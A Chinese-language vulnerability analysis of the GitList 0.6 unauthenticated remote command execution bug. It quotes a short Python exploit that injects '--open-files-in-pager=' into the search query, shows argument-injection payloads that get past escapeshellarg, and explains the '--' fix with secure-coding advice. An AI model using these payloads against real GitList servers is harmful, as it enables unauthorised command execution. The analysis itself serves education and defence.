安全客 独家发表本文,如需要转载,请先联系 安全客 授权;未经授权请勿转载。
本文首发地址 : https://www.anquanke.com/post/id/146416
概要:
文章内容如下:
- 安全公告 -> Exploit 应该经历的步骤
- GitList 0.6 Unauthenticated RCE 分析
- 为何使用了 PHP escapeshellcmd / escapeshellarg 函数,依然存在 RCE 漏洞
- GitList 的 $branch 参数是否可以再次命令注入?
- git grep 如何实现,是否也是调用了系统命令?
- 分析使用
--
修复该漏洞是否完善 - 安全开发的一些建议
信息:
漏洞作者信息:
# Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
分析:
参考 EXP:
# 核心代码如下:
import requests
host = 'localhost'
port = '80'
repo = 'gitlist'
branch = 'master'
command = 'id'
search_url = 'http://%s:%d/%s/tree/%s/search' % (host, port, repo, branch)
requests.post(
search_url,
data={
'query':'--open-files-in-pager=%s' % (command)
}
)
个人分析这些开源项目 WEB 漏洞的经验并不是很足, 总结一下并不算经验的经验
下图为本文中要分析的 GitList 远程命令执行漏洞套用在上图中的执行流程
本文接下来会按照上图中的关键节点进行分析:
安全公告:
https://www.exploit-db.com/exploits/44548/
Exploit 脚本:
https://www.exploit-db.com/exploits/44548/
关键字:
- 该项目 GitHub 仓库已经对该漏洞进行修复
https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322
由此可知存在漏洞的文件为: src/Git/Repository.php
-
根据 Exploit 中请求的 URL , 定位到文件
`
漏洞位置:
https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322#diff-8ca606c62dcfbfc0804fc52da0ef371fL328
漏洞成因:
看到这个漏洞的利用方式, 让我感觉到很奇怪的一点
代码中明明已经对传入的参数 $query
使用了 escapeshellarg
函数以确保安全性
为什么仍然可以被利用呢?
命令行的参数根据需求大致可以分为这几种:
- 传值类的参数
例如:php -r 'phpinfo();'
其中的-r
参数为传值类型, 该参数后由${IFS}
分割, 之后的第一个参数为该参数的值 - 开关类的参数
例如:ls -a
中的-a
即为开关类型的参数, 有这个参数则会显示隐藏文件, 没有则不显示
该漏洞中被执行的命令为:
git grep -i --line-number $query $branch
其中参数: -i
为开关类型的参数, 而不是传值类的参数, 含义为是否大小写不敏感, 有该参数则忽略大小写进行匹配, 以下为 man 手册
-i, --ignore-case
Ignore case differences between the patterns and the files.
其中参数: --line-number
为一个开关类型的参数, 而不是传值类型的参数, 有该参数则会在结果中显示匹配行的行数, 没有则不显示, 以下为 man 手册
-n, --line-number
Prefix the line number to matching lines.
我们知道 php 的系统命令最终是调用 sh 这个 shell 来执行的
在 sh 下, 命令的参数有如下特点:
- 如果某一个参数被单引号包裹, 那么 sh 在创建新进程, 给新进程的 main 函数传递参数之前, 是会把单引号去掉的
例如:
➜ ~ /bin/sh
$ cat main.py
#!/usr/bin/env python
# coding:utf-8
import sys
for i in sys.argv:
print i
$ python main.py --help
main.py
--help
$ python main.py '--help'
main.py
--help
$
而 PHP 的 escapeshellarg
的功能即为:
escapeshellarg()
adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.
有一句比较重要的话是 having it be treated as a single safe argument
例如:
$ git grep -i --line-number '--open-files-in-pager=php -r "system(id);"' master
PHP Notice: Use of undefined constant id - assumed 'id' in Command line code on line 1
uid=500(ubuntu) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ git grep -i --line-number --open-files-in-pager=php -r "system(id);" master
error: unknown switch `r'
usage: git grep [] [-e] [...] [[--] ...]
上述代码中, 第二条命令, 我们原本的意图为:
想让 git 认为 --open-files-in-pager
这个参数的值 php -r "system(id);"
但是因为 sh 在解析命令的时候会使用 ${IFS}
来分隔参数
导致的结果为 php -r "system(id);"
中的 -r
被解析为 git-grep
的一个参数 -r
事实上 git-grep
是没有这个参数的... 因此命令不能得到执行
实际上 --open-files-in-pager
的值变成了 php
, 而不是 php -r "system(id);"
而第一种, 则会正确执行, 这和上述的 php escapeshellarg 文档中的说法一致, 只能解析一个参数
猜想 git 在实现参数解析的时候还会对 sh 传入的参数使用 =
进行分隔, 得到键值对, 之后的源码分析也将会证实这一点
https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c#L894
程序自己怎么对参数进行处理是程序自己的事情, shell 所做的工作就是使用 ${IFS}
把用户在 shell 中输入的一个字符串分隔, 并进行一些转义的解码, 然后传递给新的进程的 char *argv[]
, 这个漏洞的问题就在于 git-grep
这个命令是可以通过参数来指定显示结果所使用的文本编辑器的: vi
/ less
, 但是并没有将参数值限制在这两个编辑器中, 这样就给了我们执行任意命令的余地
思考
下面的内容大概分为几个部分:
-
$branch
是否可以用来命令注入, 看起来似乎没有被过滤 -
git-grep
命令是怎么实现的? 是通过原生的代码实现正则引擎, 还是也是在内部调用了grep
命令, 如果调用了 grep 命令, 那么是否有可能存在漏洞? - 类似的漏洞 CVE-2017-8386
- 是否有别的系统也存在类似的漏洞
- 安全开发
一. $branch
是否可以用来命令注入
可以看到 GitList 使用了 Silex 进行路由的控制:
https://github.com/silexphp/Silex
https://github.com/klaussilveira/gitlist/blob/master/src/Provider/ViewUtilServiceProvider.php#L6
跟进代码可以发现,$branch 这个参数是从 GET 参数中传递过来的
https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Controller/TreeController.php#L51
在 Silex
中,对参数的处理规则如下:
https://silex.symfony.com/doc/2.0/usage.html#route-variables
GitList 会调用 Escape.ArgumentEscaper.escape 来对 $branch 进行处理
https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Escaper/ArgumentEscaper.php
这里对 $branch 调用了 escapeshellcmd
PS: 这里其实 $branch 是作为参数身份的... 但是却调用了 escapeshellcmd 来对其进行处理, 感觉有点奇怪
这个限制可以说很死了,应该不能再进行利用了。
二. git-grep
命令是怎么实现的
之前在申请 Google Summer of Code 项目的时候有关注过 Git 这个项目, 其中有一个 Idea 是将诸如 git-rebase 这样的命令重新用 C 语言来实现, 也就是目前暂时的实现是 bash 脚本
翻了一下 Git 的源码, 找到 git-grep 命令的实现方式, 如下:
builtin/grep.c
int cmd_grep(int argc, const char **argv, const char *prefix)
该函数中最终调用了 execve 来执行命令, 我们可以在这个函数执行的时候, 将参数打印出来进行观察
struct child_process {
const char **argv;
struct argv_array args;
struct argv_array env_array;
pid_t pid;
/*
* Using .in, .out, .err:
* - Specify 0 for no redirections (child inherits stdin, stdout,
* stderr from parent).
* - Specify -1 to have a pipe allocated as follows:
* .in: returns the writable pipe end; parent writes to it,
* the readable pipe end becomes child's stdin
* .out, .err: returns the readable pipe end; parent reads from
* it, the writable pipe end becomes child's stdout/stderr
* The caller of start_command() must close the returned FDs
* after it has completed reading from/writing to it!
* - Specify > 0 to set a channel to a particular FD as follows:
* .in: a readable FD, becomes child's stdin
* .out: a writable FD, becomes child's stdout/stderr
* .err: a writable FD, becomes child's stderr
* The specified FD is closed by start_command(), even in case
* of errors!
*/
int in;
int out;
int err;
const char *dir;
const char *const *env;
unsigned no_stdin:1;
unsigned no_stdout:1;
unsigned no_stderr:1;
unsigned git_cmd:1; /* if this is to be git sub-command */
unsigned silent_exec_failure:1;
unsigned stdout_to_stderr:1;
unsigned use_shell:1;
unsigned clean_on_exit:1;
unsigned wait_after_clean:1;
void (*clean_on_exit_handler)(struct child_process *process);
void *clean_on_exit_handler_cbdata;
};
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[Switching to Thread 0xb7dd2700 (LWP 12047)]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8379458 --> 0xbfffffdb ("COLUMNS=159")
ECX: 0xbfffe6bc --> 0x0
EDX: 0x0
ESI: 0x41 ('A')
EDI: 0xbfffe6bc --> 0x0
EBP: 0xb7dd26c0 --> 0x16
ESP: 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff
EIP: 0x817ba40 (: mov eax,DWORD PTR [esp+0x2c])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x817ba35 : add esp,0x10
0x817ba38 : test eax,eax
0x817ba3a : jne 0x817c553
=> 0x817ba40 : mov eax,DWORD PTR [esp+0x2c]
0x817ba44 : sub esp,0x4
0x817ba47 : push ebx
0x817ba48 : lea edx,[eax+0x4]
0x817ba4b : push edx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff
0004| 0xbfffe5c4 --> 0xbfffe818 --> 0x836f038 --> 0x8361118 --> 0x8006469
0008| 0xbfffe5c8 --> 0xbfffe5ec --> 0x8376bd0 --> 0x83717f0 ("/bin/sh")
0012| 0xbfffe5cc --> 0xffffffff
0016| 0xbfffe5d0 --> 0x0
0020| 0xbfffe5d4 --> 0x0
0024| 0xbfffe5d8 --> 0x0
0028| 0xbfffe5dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 3.1 "git" hit Breakpoint 3, start_command (cmd=0xbfffe818) at run-command.c:818
818 execve(argv.argv[1], (char *const *) argv.argv + 1,
gdb-peda$ p argv.argv[1]
$12 = 0x83793c8 "/usr/bin/id"
gdb-peda$ p argv.argv[2]
$13 = 0x8371878 ".gitmodules"
gdb-peda$ p argv.argv[3]
$14 = 0x8371888 "Documentation/Makefile"
最后只是通过 exceve 执行了 $pager 的命令
继续看代码发现了函数:
static void compile_pcre1_regexp(struct grep_pat *p, const struct grep_opt *opt)
https://www.pcre.org/
调用了 PCRE 这个正则库, 因此这里应该不存在命令注入漏洞了
三. 类似的漏洞
参考 phith0n 的文章:
https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html
其中使用到了命令 git-upload-archive
本地执行发现该命令的 --help
这个命令最终是调用了 less
来展示帮助信息的
那么我们怎么才能发现所有的这种 --help
会执行 less
命令的命令呢?
写一个 shell 脚本试试
➜ /tmp for i in `ls /sbin/*`
do
$i --help && echo $i && sleep 3
done
目前已经发现的命令如下:
/bin/bzless --help
/bin/journalctl --help
/bin/less --help
/bin/systemctl --help
/usr/bin/git-receive-pack --help
/usr/bin/git-upload-archive --help
/sbin/ifenslave --help
/sbin/ifenslave-2.6 --help
那么假设我们已经可以通过某些手段可以控制上述命令的参数(非HTTP)那么我们就可以依托于 --help
调用了 less
,再通过 less
来执行系统命令。
四. 是否有别的系统也存在类似的漏洞
测试系统:
Codiad 无
五. 安全开发
个人觉得这种注入的漏洞都是因为在两个组件通信的过程中产生的,本质上都是程序员预期执行的操作和实际执行的操作产生了差异,例如
- 命令注入,开发者要执行特定系统命令,必须把命令转换成一个字符串,然后传给执行者(也就是 shell ),然后 shell 再解析,这个传递过程就可能会出现信息传递不对等的问题,就很容易造成实际执行命令和预期执行的产生差别
- sql注入:开发者有和数据库软件通信的需求,但是他无法直接操作数据库软件,只能通过数据库软件提供的api(也就是sql,一个字符串),这样就可能出现差别
程序员的意图在这个转化的过程中传递: - 需要先对意图进行表述,表述为一种统一的格式,在 命令执行 和 sql 注入中都表述为了一个字符串
- 然后由执行者解析,执行系统命令或者 sql query
1 和 2 这两个过程任意一个出现问题就可能造成漏洞(或者bug)
例如 PHP 的这个pcntl_exec
函数:
http://php.net/manual/en/function.pcntl-exec.php
该函数可以将命令的参数作为数组传入, 这样可以最大程度避免命令注入的问题
例如如下几种编程例子:
// Level 0: 小白程序员
// Level 1: 初级程序员
// Level 2: 中级程序员
// Level 3: 了解安全的程序员
"/usr/bin/")
);
// 这样的写法一般情况下可以防止绝大多数的命令注入漏洞,但是在这个漏洞中也是有问题的
// 因为这个漏洞命令注入的位置是在`传值类的参数`的`值`的这个地方,只要用户可以控制一对`参数`和`值`(注意这里说的`一对`在 shell 看来其实是一个参数,例如 `--open-files-in-pager=php`),那么就可以利用该漏洞
// 而上面的写法并不能防止这个问题
根据上述 Level 3
,再来看看修复方案:
开发者在参数中添加了 --
解决了这个问题:
根据文章:https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands
A -- signals the end of options and disables further option processing.
Any arguments after the -- are treated as filenames and arguments.
可以得知:--
是 bash
的一个内置功能
看到这里,脑海中冒出一个疑问,--
只是 shell (bash) 的一个功能吗?应用程序在实现的时候会不会处理这个参数呢?
有两种情况:
- bash 读入一条命令,利用 ${IFS} 分割这个命令,将其转换为字符串数组,其中需要将
--
之后的字符串全部视为整个字符串传入 exec 族的函数 - bash 读入一条命令,利用 ${IFS} 分割这个命令,将其转换为字符串数组,将这个字符串数组作为
char * argv[]
直接传入 exec 族函数,由于应用程序对--
这个参数进行处理
我们可以进行以下测试:(由于 php 在执行系统命令的时候调用了 sh 而不是 bash ,因此直接使用 gdb 调试sh),sh 在执行命令的时候使用系统调用 execve 来完成
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
64 位系统调用参数传递方式为:
man syscall
The second table shows the registers used to pass the system call argu‐
ments.
arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes
──────────────────────────────────────────────────────────────
alpha a0 a1 a2 a3 a4 a5 -
arc r0 r1 r2 r3 r4 r5 -
arm/OABI a1 a2 a3 a4 v1 v2 v3
arm/EABI r0 r1 r2 r3 r4 r5 r6
arm64 x0 x1 x2 x3 x4 x5 -
blackfin R0 R1 R2 R3 R4 R5 -
i386 ebx ecx edx esi edi ebp -
ia64 out0 out1 out2 out3 out4 out5 -
m68k d1 d2 d3 d4 d5 a0 -
microblaze r5 r6 r7 r8 r9 r10 -
mips/o32 a0 a1 a2 a3 - - - [1]
mips/n32,64 a0 a1 a2 a3 a4 a5 -
nios2 r4 r5 r6 r7 r8 r9 -
parisc r26 r25 r24 r23 r22 r21 -
powerpc r3 r4 r5 r6 r7 r8 r9
s390 r2 r3 r4 r5 r6 r7 -
s390x r2 r3 r4 r5 r6 r7 -
superh r4 r5 r6 r7 r0 r1 r2
sparc/32 o0 o1 o2 o3 o4 o5 -
sparc/64 o0 o1 o2 o3 o4 o5 -
tile R00 R01 R02 R03 R04 R05 -
x86-64 rdi rsi rdx r10 r8 r9 -
x32 rdi rsi rdx r10 r8 r9 -
xtensa a6 a3 a4 a5 a8 a9 -
在调试器中直接打印 $rsi
sun@sun:~$ gdb -q
gdb-peda$ file sh
Reading symbols from sh...(no debugging symbols found)...done.
gdb-peda$ b execve
Breakpoint 1 at 0x4510
gdb-peda$ run -c 'ls -- -al'
Starting program: /bin/sh -c 'ls -- -al'
[New process 9252]
[Switching to process 9252]
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RCX: 0x5555557753f8 --> 0x6c2f6e0000736c00 ('')
RDX: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
RSI: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RDI: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RBP: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RSP: 0x7fffffffda18 --> 0x55555555ba4e (cmp rbx,r12)
RIP: 0x7ffff7ac8e30 (: mov eax,0x3b)
R8 : 0x7ffff7dcfc40 --> 0x0
R9 : 0x0
R10: 0x555555774010 --> 0x100000000
R11: 0x7ffff7b933c0 --> 0xfff074f0fff074e0
R12: 0x555555569f59 --> 0x68732f6e69622f ('/bin/sh')
R13: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
R14: 0x7fffffffda20 --> 0x400
R15: 0x7fffffffeeb5 ("/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/sun/.rvm/bin:/home/sun/.rvm/bin")
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7ac8e22 <__GI__exit+82>: mov DWORD PTR fs:[r9],eax
0x7ffff7ac8e26 <__GI__exit+86>: jmp 0x7ffff7ac8dfe <__GI__exit+46>
0x7ffff7ac8e28: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7ac8e30 : mov eax,0x3b
0x7ffff7ac8e35 : syscall
0x7ffff7ac8e37 : cmp rax,0xfffffffffffff001
0x7ffff7ac8e3d : jae 0x7ffff7ac8e40
0x7ffff7ac8e3f : ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda18 --> 0x55555555ba4e (cmp rbx,r12)
0008| 0x7fffffffda20 --> 0x400
0016| 0x7fffffffda28 --> 0x7ffff7a7ccfd (<__GI___libc_realloc+205>: test rax,rax)
0024| 0x7fffffffda30 --> 0xb0
0032| 0x7fffffffda38 --> 0x7ffff7dcfc40 --> 0x0
0040| 0x7fffffffda40 --> 0xd0
0048| 0x7fffffffda48 --> 0x3f0
0056| 0x7fffffffda50 --> 0x555555773aa0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "sh" hit Breakpoint 1, execve ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x /8x $rsi
0x555555773b90 : 0x0000555555773b40 0x0000555555773b58
0x555555773ba0 : 0x0000555555773b70 0x0000000000000000
0x555555773bb0 : 0x00007fffffffefa8 0x00007fffffffea4d
0x555555773bc0 : 0x00007fffffffeb0f 0x00007fffffffefdc
gdb-peda$ x /s 0x0000555555773b40
0x555555773b40 : "ls"
gdb-peda$ x /s 0x0000555555773b58
0x555555773b58 : "--"
gdb-peda$ x /s 0x0000555555773b70
0x555555773b70 : "-al"
从上述日志中,我们可以的得出 sh
并不会对 --
进行处理,会将其直接传入命令,是否支持 --
得看具体的应用程序是否支持 --
来结束参数的输入
也就是说在这个漏洞的修复中,开发者是查阅了 git 的文档
https://git-scm.com/docs/git-grep
发现 git 是支持使用 --
来结束参数的输入的,才采取了这样的措施来修复这个漏洞,那么如果 git 不支持 --
的话,就算添加了 --
也是没有作用的
PS: 不过这个 --
用来结束参数的输入这个设定在绝大多数 Unix 的程序中都被支持,可以算是一个“潜”规则吧。
关于开发的启示:
- 尽可能避免执行系统命令来实现某些功能,除非该功能实现起来实在非常困难,否则首选使用脚本语言自己实现
- 在执行系统命令的时候检查用户输入参数(即可控部分)
- 使用
pcntl_exec
这类可以限制一次只执行一条命令并且参数为数组传入的函数而不是system
这种直接调用 sh 去执行命令的函数 - 在使用
pcntl_exec
之前也需要小心地检查被执行的命令是否存在执行子命令的可能,如果有则需要尽可能避免
搭建漏洞环境:
参考如下链接:
- https://www.sitepoint.com/installing-gitlist-for-local-repos/
- https://github.com/klaussilveira/gitlist#installation
参考文献:
-
代码:
https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c
-
分析文章
- https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html
- https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
- https://chybeta.github.io/2018/04/30/GitList-0-6-Unauthenticated-RCE-%E5%88%86%E6%9E%90/
- http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
-
POC
https://www.exploit-db.com/exploits/44548/
-
环境搭建
https://www.sitepoint.com/installing-gitlist-for-local-repos/
-
文档
http://php.net/manual/en/function.escapeshellarg.php
-
Git 漏洞
https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html
-
其他参考文章
https://paper.seebug.org/164/
https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/
https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet
作者: 王一航
GitHub: https://github.com/WangYihang